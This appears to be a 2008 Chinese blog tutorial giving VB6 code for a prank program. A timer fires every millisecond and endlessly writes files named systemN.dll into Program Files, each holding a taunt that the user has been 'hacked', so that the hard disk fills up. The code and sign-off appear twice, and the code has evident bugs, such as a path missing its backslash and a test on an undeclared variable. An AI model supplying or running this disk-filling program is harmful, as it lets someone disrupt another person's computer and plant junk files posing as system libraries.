用vb6制作随机产生文件把硬盘塞满!
2008-05-01 05:35
309 查看
首先新建一个.exe工程,然后在窗体中加入timer控件,设置timer的interval=1,双点timer控件,输入以下代码
Private Sub Timer1_Timer()
‘声明变量,其中“count”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
’定义要把生成的文件存放在那个目录文件下
c = "c:Program Files"
’生成文件的内容
nr = "哈哈,被黑的感觉的不错吧"
files = FreeFile
’如果a等于a那么就执行
If a = a Then
’count不断的加1,以便产生不同的文件名
count = count + 1
’产生文件名及文件句柄,并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
’向文件写内容
Write #files, nr
’清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
小生刚学vb不长时间就班门弄斧,有错的地方望见谅,我的联系信箱是netboy@cnpick.com,有空和我联系啦,呵呵。
Private Sub Timer1_Timer()
‘声明变量,其中“count”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
’定义要把生成的文件存放在那个目录文件下
c = "c:Program Files"
’生成文件的内容
nr = "哈哈,被黑的感觉的不错吧"
files = FreeFile
’如果a等于a那么就执行
If a = a Then
’count不断的加1,以便产生不同的文件名
count = count + 1
’产生文件名及文件句柄,并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
’向文件写内容
Write #files, nr
’清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
小生刚学vb不长时间就班门弄斧,有错的地方望见谅,我的联系信箱是netboy@cnpick.com,有空和我联系啦,呵呵。
相关文章推荐
- 用vb6制作随机产生文件把硬盘塞满!
- 用VB产生随机任意大小文件挤满硬盘
- 用VB产生随机任意大小文件挤满硬盘
- 有一个数据文件:123 34 17 651234 345….这些数据都是随机产生的,编写程序读出该文件.并将其以从大到小的顺序输出到另一个文件中.
- 产生随机文件并加解密
- UltraISO 使用教程(二)--硬盘文件制作成ISO格式
- 高并发下产生大量,随机,唯一的字符串,并输出到文件中
- 文件——文件指针——文件练习(随机产生N个手机号)——自动关文件
- 制作Windows Mobile安装部署文件产生错误!The INF file contains Unicode characters that could not be converted corr
- 用LR录制文件下载并随机产生文件名
- 用LR录制文件下载并随机产生文件名
- GCR0进程持续产生大量trace文件
- 数组问题:产生一个int数组,长度为100,并向其中随机插入1-100,并且不能重复。
- 新硬盘挂载目录后文件消失解决办法
- 从oracle表中随机取记录,产生随机数和随机字符串
- iOS 服务器端推送证书p12文件制作
- File Thingie硬盘目录文件管理系统
- delphi资源文件制作及使用详解
- 【C++】随机重命名MP3文件
- 简单病毒文件制作